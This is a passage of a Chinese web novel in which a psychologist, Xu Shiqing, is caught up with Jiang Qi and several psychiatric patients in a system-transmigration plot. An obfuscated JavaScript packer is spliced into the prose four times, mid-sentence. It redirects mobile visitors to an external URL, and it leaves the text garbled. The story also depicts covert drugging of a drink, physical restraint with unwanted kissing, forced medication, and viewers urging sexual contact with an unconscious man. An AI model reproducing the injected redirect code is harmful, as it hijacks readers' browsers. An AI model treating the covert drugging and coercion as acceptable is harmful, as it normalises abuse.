江起又开口：“我查了下监控，是一个精神病人翻墙跑出来了，他有认知障碍，心智不成熟，很喜欢恶作剧，所以才想到故意把你们关起来。” “噢。”许时清应了一声，搞了半天，原来是个乌龙。 他看着窗景，问：“那我们现在去哪儿，医院吗？” 江起：“回我家。” 许时清皱眉：“我可没答应要去你那里。” 听见这话，江起又看他一眼，叹气说：“清清，我知道你还生我的气，但现在外面真的不太安全。上次在你家门口蹲守的那个人，今天又出现了。” 许时清：“什么？” 不是，这人什么意思啊？到底什么仇什么怨，半夜尾随他就算了，现在大白天就在门口逮人，演都不演了是吧！ 许时清无语，“不能报警抓他吗？这算是恶意骚扰了吧。” 江起：“事情或许没有你想象的那么简单。” 听他说完，许时清忽然冷笑，“是吗？其实我不怎么在意他的身份，大不了之后搬家远离就好了，他总不可能再跟过来。但是，江起，我真的比较好奇——你有什么秘密瞒着我呢？” 江起不语，他又追问：“被我问住了吗？你是不是觉得自己的心思藏的很好，我现在告诉你，我早就发现了，你最好现在跟我坦白，不然……我们就绝交。” 活了二十多年，许时清第一次对人说这种话。这招数他只在上学的小孩儿那里见过，“和好朋友绝交”对他们来说就是天大的事了，但许时清不确定会不会对江起奏效，如果不能的话…… “可以，”江起回答得很果断，再通过后视镜观察他，“清清，你想听什么样的秘密？” 有什么秘密就说什么呗？竟然还要自选，你是什么谜语人吗？ 许时清暗自吐槽，想了想说：“当然是有关我的。” 江起：“我喜欢你。” 他回绝：“这不算是秘密。” “……” 江起忽然笑，问他说：“原来你早就发现了，我表现得很明显吗？” 许时清点头：“算是吧。” 连他一个直男都能看出来的小心思，能算得什么秘密？ 系统冷不丁：【呵呵，你上次造谣江起和柯怀雪是一对的时候可不是这么说的？】 许时清：你给我闭嘴！ 他只是当时脑子没拐过弯来好不好？事后反复回味细节，才发现不对劲，江起要是喜欢柯怀雪，去给柯怀雪安监控不就好了，干嘛要时刻监视他？除了变态的控制欲，许时清再也想不到第二个答案。 被言书戏耍过几次，许时清现在学聪明了，他察觉到江起在有意迂回，避重就轻，便直接问：“江起，你真的有一个男朋友吗？不许模棱两可，我要听实话。” “嗯。” “……他真的是活人吗？” 许时清的声音弱了下去。结合江起的怪异行径，不排除这家伙有精神分裂的可能，幻想有一个虚拟的恋人跟他谈恋爱那种。 江起点头：“是的。是跟我朝夕相处、共同生活过的，现实存在的人。” 许时清松了口气，但又指责他：“那你现在算什么？分明有另一半，却还说喜欢我，你明白你现在的行为是出轨吗？” 对方却又沉默。他不占理的时候似乎总这样，用沉默代替所有回答。 敢做不敢当？许时清嗤笑一声，嘲讽道：“我真没想到，从小一起长大的朋友竟然会是这样的人。果然知人知面不知心，江起，你就是个衣冠禽兽！” “我很抱歉，清清。” 他一发火，江起就道歉，真把人逼得一点脾气都没有。 许时清偏头不看他：“不该跟我道歉，你该去跟你的‘男朋友’道歉。” 江起点头答应：“我会的，只要时机成熟……” 我会向他坦白一切。 —— 许时清不情不愿地回了江起家。 一方面，他真心觉得江起的人品很败坏，就算这是系统要求他攻略的对象，但也不至于这么low吧？另一方面，他却又有点依赖江起。莫名的，在不发生冲突的情况下，江起其实很能给他带来安全感。 江起说要去买饭，许时清应了一声，等他出门后，把系统叫出来溜溜。 “你能不能把他男朋友联系方式给我啊？我真的要曝光这个人渣！” 【清清大人，万万不可啊，虽然咱们小世界的开放度很高，宿主可以随心所欲，但我查了一下，目前应该是没有人会走你这条支线的……】 “为什么不行？难道他们都能接受跟一个有家室的人暧昧不清吗！” 许时清表示非常不理解，他现在想报复江起的心情达到了巅峰。 对了，上次拿到的药……许时清记起还有这茬，从包的夹层里翻出了一板药片，正是在江起车里寻到的。 一板药片一共有六片，底下的两片用掉了，还有一个格子的药只用了一半？使用剂量这么小的吗。 药片背面也没有说明，只印了几个许时清看不懂的外文，看上去像是注册商标。他想也没想，去厨房倒了半杯温水，把药片溶进去，自己尝了一口，无色又无味。 围观的系统：【……】 它第一次见给人下毒还要先自己尝尝咸淡的！ 好了，准备完毕！现在就等江起回来了。 不过他该找个什么理由把这杯水递给江起呢？嗯，感觉今天空气好干燥啊！你快喝点水补补吧？就这么定了，许时清把水杯放在桌子边上，转身去沙发上看电视了。 【会不会有点太明显了？】 许时清：“有吗？还好吧。” 【……】 你开心就好！ 半小时后，江起回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438162|184991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，他在玄关处换鞋，看见许时清在沙发上躺着，又收回视线。把大包小包的东西放在客厅的长桌上，一眼就看到了桌边的半杯水。 江起伸手握了一下杯壁，温的。 “欸，你回来啦？那……” 许时清这才看见他，刚想问他要不要喝水，就看见他自己端起来，喝了个干净。 江起放下空杯，看向他：“有什么事吗，清清？” 许时清摇头：“哈哈，没事。” 你倒是挺自觉。 —— 药效发挥得很迟缓，大约一个小时后，江起把饭做好了，许时清在桌边落座，看见他在揉太阳穴。 许时清问他：“头很疼吗？” 江起摇摇头：“没事，可能是最近有点太累了。” 他这副样子像极了许时清之前的状态，此刻许时清更加确信，江起准备的药就是给他用的。 “既然这样，那你早点休息吧？” 吃完饭后，收拾完碗筷，江起简单洗漱后就睡下了。许时清假装继续看电视，实则注意力都在他身上。 大约过了一个多小时，期间许时清起身，去江起的卧室门口听动静，房间里没有开灯，也没有别的声响，江起应该是睡沉了。 确认之后，许时清在门口脱了拖鞋，打算猫进房间。 系统：【足控福利？】 “我说真的，你有病去治行不行？” 次数多了，许时清骂都懒得骂，没理会它。卧室的门刚好没关，不用担心拧动门把手会有动静，他慢慢推开一道门缝，从缝里挤了进去，再反身关上。 窗帘紧拉着，没有光漏进来，房间里一片黑暗，除此之外还很安静，只有江起均匀的呼吸声。许时清再次确定他是睡着了，这才敢往里走。 日记本……上次就放在桌上的。这次也是，甚至还是摊开放在桌上的，旁边摆着一支笔，兴许是江起不久前刚用过。 一点警惕心都没有。许时清想，小时候他们也会写日记，都是斥巨资买带密码锁的笔记本的，更有防范意识的，还会放进箱子里锁起来。 笔记本不好直接拿走，房间里很黑，他不敢开手电筒，只敢打开手机屏幕，借着屏幕的亮光查看日记。 这似乎是江起随便翻的一页，贴着两张他的照片，一张大头照，一张似乎是生活照，照片里的许时清正趴在桌上睡觉，不知道江起什么时候偷拍下来的。 但最让许时清震惊的，是照片旁附写的一行小字： 【我很开心，今天他答应我的告白了。接下来的内容，大概都是我们的恋爱日记？】 他，答应江起的告白……什么时候？许时清呼吸一滞，感觉自己出了一身冷汗。 江起不是有精神分裂，而是有臆想症，或许还会幻视幻听，自我捏造根本不存在的情节！ 如果这样说的话，那许时清合理怀疑，江起口口声声说有人在他家里蹲守徘徊，那个人是不是从来就不存在？因为许时清根本没有见过那个人的真容！ 正思索的时候，一只手突然从他背后穿过、环住他的腰，再是脑袋搁在他的右肩上，另一只手握住了他的手。 江起的体温好凉，加上心底的恐惧加持，此刻的江起在许时清眼里浑不像个活人。他贴在许时清耳边，轻声说： “清清，这是第二次抓到你了。” 12. 我哭了。 “清清，这是第二次抓到你了。” 寂静的黑暗之中，江起的声音幽幽响起、从耳边传来，完全如同鬼魅。 许时清被他吓到呼吸停滞，愣了好几秒才反应过来，手肘想向后用力，却被对方抓住了手腕，扣在笔记本上。 他的手机因此掉落在地，“哐当”一声响。 “放开我！”两只手都被人抓住，许时清不想任人鱼肉，叫嚷起来，“江起，你到底还有多少秘密瞒着我？你从头到尾都没说过一句真话，你才是最有病的那一个！” 他情绪激动、不能自控，控制住他的人却神色淡淡，半晌，他听见江起笑说：“你在说什么啊，清清？” “如果不是你执意要解开真相的话……我想，我们之间本来没有秘密的。” 倒打一耙。许时清跟他没什么好说的，逃离这个疯子才是正道！ 安静两秒，他趁人不备，大力将江起推开，这一下几乎使出全力，反方向朝门的方向跑。不料身后的人大步上前，几步距离就追上他，抓住他的衣领，向后拖拽，重重将他摔在了床上。 “呃！” 床垫是软的，但江起的力气实在太大了，许时清感觉腰部受到冲击，有些吃痛。 “江起，你……” “清清，不要疏远我好不好？” 江起压了下来，单膝跪在他身侧。适应室内的黑暗后，借着幽幽的暗光，他可以看见许时清模糊的脸，那双总是灵动有神的眼睛，现在写满了恐惧，这不是他想看见的。 于是他伸出手，捂住了许时清的眼睛，另一只手则在床上摸索，捉住了许时清的手腕，继续向上，和许时清掌心相对，十指扣紧。 “我也不想这样的，清清，你知道吗？我没想让你发现的……” 许时清本就视野受限，现在眼睛被蒙住，什么都看不见。未知的事物最让人恐惧，偏偏他还被江起控制住一只手，这人表面温柔，力道出奇地大，任凭他如何挣扎，江起都岿然不动。 “不要逼我，可以吗？” 江起凑得更近了，又贴在他耳侧说话，气息湿且热。许时清忍不住发抖，江起却又笑：“我们就像现在这样，好好的，等一觉醒来之后，你就当做什么事都没有发生，好不好？” 他一边说着，一边吻许时清的耳朵，再一路向下，吻到心口的位置时，感觉许时清的胸腔轻轻震动一下。 许时清对他说：“不要。” 却是带着哭腔。 “别这样对我，我不喜欢……” 覆在许时清眼睛上的那只手掌，感受到温热，是许时清哭了。 江起看着他，选择松开手，许时清重获自由，立刻用手捂住脸，无声泪流。 他泣不成声，第一次这样失态：“我真讨厌你们，这些事为什么要和我惹上关系呢？我明明什么都没做……” 许时清觉得很委屈，突如其来涌上心头的那种。 不只是现在害怕江起，也不只是被言书和凌燚挑衅，还有这些天经历的种种。他明明才刚大学毕业，拿到了理想的offer，可以有一份很好的工作，事业家庭都应该美满，结果因为一次次飞来横祸，现在身处异地，还要被这些人轮番调戏，别提有多糟心了！ 他沉浸在悲伤的时候，江起沉默着起身，转身去把灯打开了。 看见他蜷在床上，一副很缺乏安全感的样子，江起又开口：“我很抱歉，刚才吓到你了吗？” 许时清捂着脸，不说话，他又说：“清清，其实我没生病，生病的是……” 江起又没再继续往下说，许时清透过手缝观察他，问：“是什么？你把话说清楚！” “没什么，”江起的嘴比石头硬，转身又要走，“我出去走走，等会儿回来。要给你带份夜宵吗？” “……” 哭了一遭，许时清好像还真有点饿了，他点点头，江起便出门了。 等人走后，许时清立刻从床上坐起来，手背抹干净眼泪，吐槽说：“他到底为什么这么难骗啊？！” 系统冒出来：【清清你别哭了，哭得我心碎碎，咱们不要江起这个对象了行不行？攻略其他三个人也能通关的！】 许时清：“哈？我又不是被他惹哭的。” 【那你这是……】 许时清神秘地笑笑，仔细观察可以发现，他刚才虽然哭过，但只有眼眶微微红，脸上没有泪痕，现在也不抽泣。 “出门在外行走江湖，怎么能没有技能傍身呢？”许时清得意地说，“这是我练过的独门绝技，厉害吧！” 这项技能是许时清小时候意外发现的。他似乎拥有很特殊的泪失禁体质，平时情感波动不大，遇事总能抽离在外，感觉事不关己，但一旦代入其中、身历其境，情绪就会很明显了，眼泪更是说流就流。 比如，有一次和迟冬一起看电影，是一部恐怖电影，中间高能不断，好几次鬼怪尖叫着突脸，一旁的迟冬被吓得吱哇乱叫，坐在旁边的许时清却一连平静。 迟冬瞪大了眼，问他说：“刚刚那女鬼一下子跳出来，我看你眼睛都不带眨一下的，你完全不怕啊？” 许时清没说话，垂眼的时候，忽然有眼泪落下来。 迟冬：“……？” 你反射弧有这么长的吗？！！ …… 【哈哈哈，你看这事闹得。】 系统大概也有被许时清无语到，不过还是安抚说：【那就好那就好，我怕你真难过了呢。唉，吓死我了，如果只是这种尺度你都会被吓哭的话，那后面岂不是更……】 许时清：“你什么意思？——后面难道还有更过分的？！” 【没有没有！当我没说！！】 明明就是有鬼。许时清现在谁也不信，呵呵，刚才使出的是泪失禁大法，回头他再练一门独门绝技，让这些色欲熏心的混小子看看，到底是他们的第三腿硬，还是他的扫堂腿有劲儿！ 小插曲结束，许时清回归正题：“所以，江起真的有精神病吧？但他明明是个心理医生，看来医者不能自医啊。” “系统，现在我还需要做些什么？” 【是这样的，本世界想要达成通关有两个要素。一是选择一个攻略对象，让他的好感度达到九十分以上，清清你目前已经达标两个了。第二个条件则是需要在此基础上，了解他们的故事，让小世界的细节更加丰富，能拼凑出完整的故事就更好了。】 【至于我之前说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438163|184991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 附加条件，有额外的积分奖励，则是需要在你完整了解他们的经历的情况下，再和他们产生羁绊、达成隐藏结局。这个要求太高了，所以清清你马上能正常通关就已经很不错啦！】 许时清点点头，现在好感度到及格线以上的就是言书和江起，可这两个人没一个是省油的灯，反而还把他耍得团团转，他怎么可能斗得过？ 【如果你感觉很困惑的话，我可以给你指条明路。】 “什么？” 【答应他们的追求！】 许时清大惊失色：“你认真的？” 【当然是真的啊！他们现在之所以有顾虑，不就是怕你知道真相以后会离开他们嘛？现在你直接告诉他们，“我答应跟你们在一起了，不管发生什么事我都会陪在你们身边的”，他们是不是就会放下戒备、对你敞开心扉了？】 “哦……”许时清若有所思，“道理是这么个道理——可我是个直男啊，我怎么可能接受跟他们谈恋爱！” 【性取向是流动的！】 “我可不是，我比铁还硬！” 【呵呵，上次言书摸你腰的时候还夸你软呢，这会儿又硬了？】 你们这种“小直男”说话就是硬气，被调戏的时候都快化成水了，却还相信自己的性取向是钢筋水泥。 许时清手动禁言：“把你的嘴闭上吧，说的话没一个字我爱听的。” 他不打算走系统安排的那条路，既然没办法从言书和江起嘴里套话，那就另辟蹊径——找凌燚和柯怀雪好了？ 凌燚现在对他的好感度有三十，柯怀雪有七十，只要他稍微努努力就上来了，看样子是完全可行的！ “咚咚。” 许时清这边刚拟定完新计划，房门就被人敲响了，是江起买完夜宵回来了。 “清清，出来吃饭吗？” 说实在的，许时清刚才哭是假哭，但心底还真有点犯怵，他犹犹豫豫：“我好像不是很饿了……” 门外的人沉默片刻，许时清想了想，还是跑过去开门，江起现在也喜怒无常，他怕这个人又发作，只能妥协。 “算了，我吃一点吧。” 江起买回来的是甜点，许时清其实对甜食不是很感冒，只是那天给柯怀雪买了一次后，江起就一直记成他爱吃了。 许时清拆了叉子，挑了一块蛋糕吃，味道意外地还不错。果酱味道很清新，奶油也不甜腻，蛋糕体松软湿润，是他喜欢的味道。 “怎么样，还合口味吗？” 江起明知故问，给他递来一杯水，也是温热的，“来，喝口水吧。” 许时清立刻警惕起来，这一幕太熟悉了，他给江起下药就是这样做的，推辞道：“我不喝，现在不渴。” “那也没关系，喝一点就行了，清清，”江起说，“我在里面下了药。” ？你是个疯子吧！这种事敢直接说出来吗…… 许时清正要骂他，却发现他紧紧盯着自己，目光炽烈。 “我想好了，从今天开始，我要认真监督你吃药、还有规律作息——直到你的病完全痊愈为止。” “……” 江起这是什么意思？ 生病的人怎么可能是他！ 13. 想要和我约会吗？ “好久不见？” 次日，许时清正常投入工作，这次他又叫来了凌燚。 凌燚觉得他莫名其妙：“我们前两天不才见过吗？” 他盯着许时清看来看去，冒出一句：“你看你还天天盯着我要给我治病呢，感觉你这气色跟被人家吸了精气一样，医者不能自医，许医生，你还是先顾好自己吧！” 许时清：“……” 这小兔崽子，他还什么都没说呢？上来给他一顿输出，真是皮子紧了。 算了，他不计较。现在当务之急是快速提升凌燚的好感度，骗取信任再套话，达到通关条件，他就不用再跟江起那些人打交道了。 许时清把纸和笔递给他：“再填一次表吧？让我看看你现在的状态。” 凌燚“哦”了一声，低头就看见他手腕上的红痕。那痕迹其实不明显，只是许时清太白了，白到皮肤透出青色，所以很扎眼。 他接过笔，看了许时清一眼，嘴里嘟囔说：“又是去哪里做些什么才搞成这样……” 许时清看出他在想什么，指定又是些乱七八糟的偏见，凌燚这脑子就不太单纯。 既然如此，他顺水推舟，没将袖口放下遮掩伤痕，反而将袖子卷起一截，上面的红印又都露出来，都是昨晚江起掐的。 做完这个动作，他又像没事人一样，看看电脑、拨下头发，对面的凌燚却坐不住了。 “许医生，我觉得您还是要注意一下个人作风问题吧？”凌燚说，“您这样影响多少有点不好。” “什么？” 许时清眨眨眼，表情很无辜，“凌燚同学，我有做什么很出格的事吗？” 他抬手一指自己的伤痕，“难道你是说这个？唉，只是受了点小伤啦，不小心摔了一跤、又有擦伤什么的，不碍事的。倒是你说的话很奇怪呢，我只是受了个小伤，怎么就给我扣个影响不好有伤风化的帽子呢？” “你！”凌燚被他怼得哑口无言，但很不服气。 呵，这怎么可能是摔伤弄出来的伤口？他上次来看还没有，许时清今天又这样疲倦，昨天晚上指不定是和谁…… 凌燚边填表，边问他：“您别用这种话搪塞我，我虽然没经历过，但也不是完全不懂。” 笔尖一顿，他再问：“这么说的话，许医生您岂不是有个女朋友咯？怎么从来没见过她呢……” “谁跟你说是女朋友？” 许时清语出惊人，连凌燚都被他镇住了。 不是女朋友，那难道是？…… 许时清又对他微笑：“你那是什么表情啊？我的意思是，我现在还是单身呢，哪儿来的对象？” 有点意思，事情好像复杂起来了。许时清既没女朋友，也没男朋友，手腕上还有那样暧昧不清的伤，除了他自己随便到可以胡乱和人发生那方面的关系外，凌燚想不到第四种可能。 噢，这么说的话，许医生估计还有点特殊癖好呢？ 凌燚也不知道自己在想些乱七八糟的。好奇怪，他平常不像这样冒犯人，唯独到了许时清面前就忍不住胡思乱想，但是…… 视线在许时清身上扫过，他又觉得，怎么会有人长着这样一张脸呢？样貌不敢说是一顶一的好，但气质实在太独特了，安静时恬静柔软，闹腾起来又很生动，吹眉瞪眼的样子竟然显得娇嗔。 许时清像是一幅画，平白的，模糊的，没有什么具体的内容。所以随便是谁，都可以往上面腾写想要的东西。 …… “凌同学……凌同学？” 许时清的五指在他面前挥了挥，见他怔愣着一动不动，便知道他脑子里肯定又在想入非非了。 凌燚回神，又看见他笑：“怎么，感觉你好像很在意我有对象这种事啊？我有，或者没有，应该都不影响我们之间的关系吧。” 凌燚反应慢半拍：“什么关系？” “当然是……”许时清欲言又止，故意勾他，于是反问，“你觉得我们应该是什么关系？” 没等凌燚想明白，他又说：“你知道吗？我平时很少让病人直接到我的办公室来的，我都是去他们的病房里找他们，而你是唯一一个，能被我亲自请到这儿来的。” 呵呵。其实真实原因是，他看凌燚很不爽，加上凌燚住的那个病房离这儿有点远，他懒得遥遥跑个对角线去找人，一通电话就能把人喊过来的事，费这功夫干嘛呢？ 但因为他的刻意引导，加上凌燚想入非非的自我攻略，这话似乎就变味儿了。 “你、你该不会是……” 凌燚结结巴巴说不出话，耳尖肉眼可见地红起来，这人真有意思，表面是个炸毛酷哥，怎么一言不合就爱脸红？ “你你你、你喜欢我？” 这句话说出口，凌燚自己都觉得没脑子了。许时清只是个心理医生，跟他又没什么特别的交集，干什么突然喜欢他呢？ 对面的许时清却不反驳，只是笑出了声——到底在笑什么啊？！凌燚简直要抓狂了，又不好直接问他，看见他掏出听诊器，朝自己走近了。 凌燚小声吐槽，他是来做心理测试，有什么可听心率的？换来许时清的一声轻笑，许时清故作神秘地对他说：“我不是在听心率，我好像能通过它听见你内心的想法呢？” 见鬼。 眼看着许时清渐渐靠近，他不知什么想法，下意识别过头去。然而还是没能躲过，一抹香气紧跟着凑到他鼻尖，许时清离得实在是太近了——气味是薰衣草，闻着像沐浴露的味道。 凌燚还能在想些什么呢？许时清不用猜也知道了，肯定又是在骂他…… 【其实他很漂亮，身上也很香。】 他一愣，又听见一句： 【真的没有男朋友吗？那我是不是可以……他本来就有这个意思吧！不然为什么对我抛媚眼？也不知道在装什么，真的是……】 得。刚要夸凌燚有眼光很识相呢，许时清收回刚才的想法。狗崽子就是狗崽子。 听完他的心声，许时清收好听诊器。他发现了，这玩意儿好像根本就算不得什么金手指外挂。 因为按照一般套路，人家都是能直接读心的，有什么想法立刻就知晓了。而他这个技能有局限，只能在诊治的时候才有合理的用处，像江起那样的人完全应对不了；再加上距离凑近了，对方会对他做什么事都不能保证，所以这个技能也只能对比较信任的对象使用。 【嘿嘿嘿，清清你才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438164|184991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现啊？】 系统不合时宜地冒出来，许时清真的很想捶它。知道你还给？个破系统没用处还在这儿沾沾自喜呢！ 【唉唉，别又偷偷骂我！这个技能其实有很大帮助的啦，只是清清你没用对而已。】 许时清：哦？那你倒是说说有什么妙用呢？ 【你都和攻略对象近距离接触了，动手动脚不是很简单的事吗？摸摸脸蛋再弄弄头发，两个人靠得又那么近，有谁能够拒绝你啊！】 许时清：…… 那不就是揩油吃豆腐吗？他现在的身份是医生，多少要有些职业素养吧，这种下作的事情他可做不出来！ 【嗯嗯，只是因为第一个世界太平淡啦，通关难度也不高，清清你这样嘴硬也很正常。要是多经历几个世界，不知道你还能不能坚持现在的“道德操守”呢？】 “……” 总感觉这个系统一直在挑衅他。 收好东西，许时清转身看着凌燚，问：“上次聊天，你跟我提到柯怀雪，我想问问，除了转校前发生的那件事以外，你对他还有别的印象吗？” 凌燚被他牵着走，回忆说：“有一件。当时我们假期回来补习，班里有一个似乎和他起了冲突，那人未经允许动了他比较重要的东西，好像是一个娃娃吧？事后他拿着圆规，把那个人的卷子和资料都划了个稀巴烂。” “那家伙本来不服，但老师考虑到马上毕业了，柯怀雪情绪不稳定、他们可能也不敢惹，就没有追究这件事。” “噢，”许时清若有所思，“想不到他看起来乖乖柔柔的，脾气好像还挺大？” 但是在他面前好像从来不发呢？只会傻傻地盯着他笑，或是可怜兮兮地求救，说需要他的安慰和拥抱。 小东西还有两幅面孔。有个词叫什么来着……绿茶？说的就是柯怀雪吧。 系统听得直摇头。 柯怀雪喜欢他，所以只对他特别，他却骂人家绿茶。感觉许时清是那种会在网上发帖说“我好兄弟买东西只给我买、对我好、还事无巨细关照我，好到出门都要拉拉手，我们的友谊真是情比金坚”的那种人。 聊完柯怀雪，凌燚顿觉不满：“许医生，您这是什么意思啊？为什么总爱在我的治疗时间提到别人呢？” “因为这对你的病情有帮助啊，”许时清说得理直气壮，“想要帮病人解开心结，不就是需要从身边的社会关系入手吗？对你好，也对他好。” “凌同学，你要是很介意这种事，只想和我独处、聊我们两个人之间的事的话，那应该……只有跟我约会才有了？” 他在胡言乱语什么？许时清自己也不知道，全当在玩剧本杀好了！ 虽然角色扮演这种事他不擅长，但至少对凌燚这种人很受用。对方刚刚恢复的耳根子，登时就红起来了，囫囵说了几句话，之后就吵着要走。 许时清没拦他，还好心地祝他一路顺风。等他走后，许时清问系统：“凌燚现在的好感度是……？” 【上涨了百分之三十！我就说和他们亲密接触有用吧～】 是挺有用的。 许时清却在心里默默翻了个白眼。 全都见色起意，没一个是正经货色。 14. 狐狸精和纯爱战神（凝受注意） 这边应付完凌燚，那就还剩下一个柯怀雪了。 要说柯怀雪对他的好感度……其实挺高的，许时清也还算喜欢他，但大都是出自怜悯之心。性格孤僻怪异的柯怀雪，会让他联想到上学那阵，班里总是形单影只的男同学。 嗯，结果这两个人又有字面意思上的殊途同归。那位男同学因为得到许时清的帮助、对许时清暗生情愫，结果现在柯怀雪也因为他的关怀，而对他产生了别样的心思。 许时清只有一点分辨不清楚，那就是柯怀雪对他的感情，到底是出自朋友自己的占有欲……还是带了一点儿什么不可言说的旖旎心思呢？ 今天没带蛋糕，彩笔也忘了，没办法，最近事情实在是太多，他也顾不上这些事。 唉。电梯上行的时候，许时清在心底叹气。他如今身首异处，家里人的病情怎么样呢？迟冬这会儿又在做些什么呢？…… 【哼哼，嘴上说着不喜欢，结果还是忍不住想念竹马吧？】 许时清面露无语，“你懂什么呢？谁跟你说想一个人就一定要是那种感情了，我跟他是从小到大的朋友好不好，十几年的感情了，总不能说分开就分开。心里多多少少还是有点儿……” 【没关系，只要我们清清再努力一点点，就可以早点回去见到他啦！】 嗯，说的也是。 许时清收起情绪，走出电梯门。 走廊依旧空空荡荡，因为太过安静，气氛其实有些压抑。说真的，如果这家精神病院的配置在现实真实存在，许时清不觉得它会有多大的用处，这样狭窄幽暗的空间布局，连他一个正常人都会感到压抑，更别提是容易焦虑、恐慌的精神病人们了。 走到门前，正要拉下把手，许时清忽觉眼前一黑，太阳穴阵阵刺痛，他差点栽倒过去。好在及时扶住门把手，踉跄一步，这才站定身体。 该死的。许时清在心底暗骂，全都要怪江起！ 这个自以为是的神经病，明明就是自己得了臆想症，还总爱编排他，非说是他得了病。 而且江起说到做到，自那天发现江起的秘密后，他就被江起严密监管起来了。 公寓那边不让回，得搬去跟江起一起住，早晚都要吃药，虽然药量只有半片，掺在温水里尝不出味道，但许时清就是觉得犯恶心。这个人打着“为他好”的旗号，明晃晃公然地要害他！ 脑袋混沌之际，他感觉眼前似乎都有重影，红的蓝的白的交叠在一起。 摇摇晃晃站不住的时候，面前的门忽然从里打开，失去门板的支撑，许时清骤然脱力，向前一摔——落入了柯怀雪的怀里。 “您怎么……” 柯怀雪偏头看他，发现他出了一头虚汗，眼神迷离，似乎有些神志不清，便又笑笑，拍拍他的背，像在安抚一个孩童，“好啦好啦，我在这里呢。” 他扶许时清去小床上休息。许时清的身子软极了，跟没骨头似的，抓也抓不住，只能被他抱着走。 与此同时，在许时清和柯怀雪都看不见的角落，有一堆悬空的弹幕在疯狂刷屏。 【我靠我靠，等了这么久，终于要来点刺激的了吗？！？】 【我也等得好辛苦啊呜呜，本来是奔着主播的高颜值来的，结果他长得那么漂亮，但是一点也不会耶！有那么多跟NPC亲密接触的机会都错过了，这也太正人君子了吧？】 【小雪你别看了，你快点上啊！】 【就是就是，好机会！】 【不是，刚刚还好好的呢，怎么会突然晕了？】 【无形的大手发力了呗？不要小看我们老牌系统零零七啊！】 【嘿嘿嘿。小七眼光还是那么好，现在还能上哪儿找这么漂亮又呆瓜的小直男？你们都说不刺激，但我觉得他呆呆萌萌的样子好可爱哦，一想到后面的副本会有越来越过分的剧情就很兴奋呢，期待期待～～】 【噢，我说系统怎么上来不给人家开弹幕权限呢？原来是留后手，怕直男被我们吓跑了不干了是吧！一群变态！！】 【唉，前面的新来的吧？这就算变态啦？这才第一个世界呢，希望下个副本能有更精彩的内容。】 【其实我觉得擦边球也蛮不错的，上上次江起下药偷亲，上次言书强行吃豆腐，虽然都没有很过分，但清清的反应真的很可爱……】 【对对对。清清看着一本正经，但是好白好嫩，脸红的样子也特别萌，想亲想舔～】 …… 这些弹幕一个比一个下流，后面的话越来越不堪入目。好在此时许时清昏睡着，对此完全不知情。 昏迷不醒的人，和一个有攻击倾向的精神病人共处一室，其实是很危险的。 不过系统早有把握，柯怀雪不会伤害许时清，但至于会不会再做别的事？——它也不能保证啦！ 要是没做的话当然不算亏，许时清不会把罪名归咎到它头上，给它挡枪转移注意力的还有江起；要真偷偷做了点儿什么……那就正中下怀，这正是小世界里的观众们想看的。 现在病房里只有他们二人。 柯怀雪把人安置在床上，站在床边，仔细打量许时清。 许时清失约了。明明说好要每天都来看他，却一连三四天都没来。 可他每天的盼头就是这个，晨起画画、发呆冥想，之后就坐在窗边，期待着能看见许时清的身影。 他的病房在五楼，位置比较特殊，足够俯瞰整个精神病院的分布。楼下就正对着平时来往走动的通道，许时清每天都会从那里进来。 早上会和江起一起走，他走前面，江起走后面，江起手里总拎着东西，有时是早餐，有时是蛋糕盒，应该都是给许时清买的。 午间，许时清有时候是一个人走，有时身边又跟着江起，他们关系最亲密，同时出入的时候自然也多。但柯怀雪最近发现——凌燚这个人，不知道为什么和许时清变熟了？ 之前凌燚都是能躲着许时清就尽量躲，这两天倒是不藏了，甚至今天偶然撞见，还要笑着和人打招呼。 除此之外，还有一个言书。那也是好几天前的事了，言书前脚进了图书室，许时清后脚也进去。之后两个人不知在里面呆了多久、做些什么，他再没看见许时清出来，倒是江起突然出现，把昏迷中的许时清打横抱出来了。 …… 一个江起也就算了，柯怀雪只当他是念旧情，那凌燚和言书算怎么回事呢？原来许时清竟然这样“医者仁心”，愿意和手下每一位病人都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 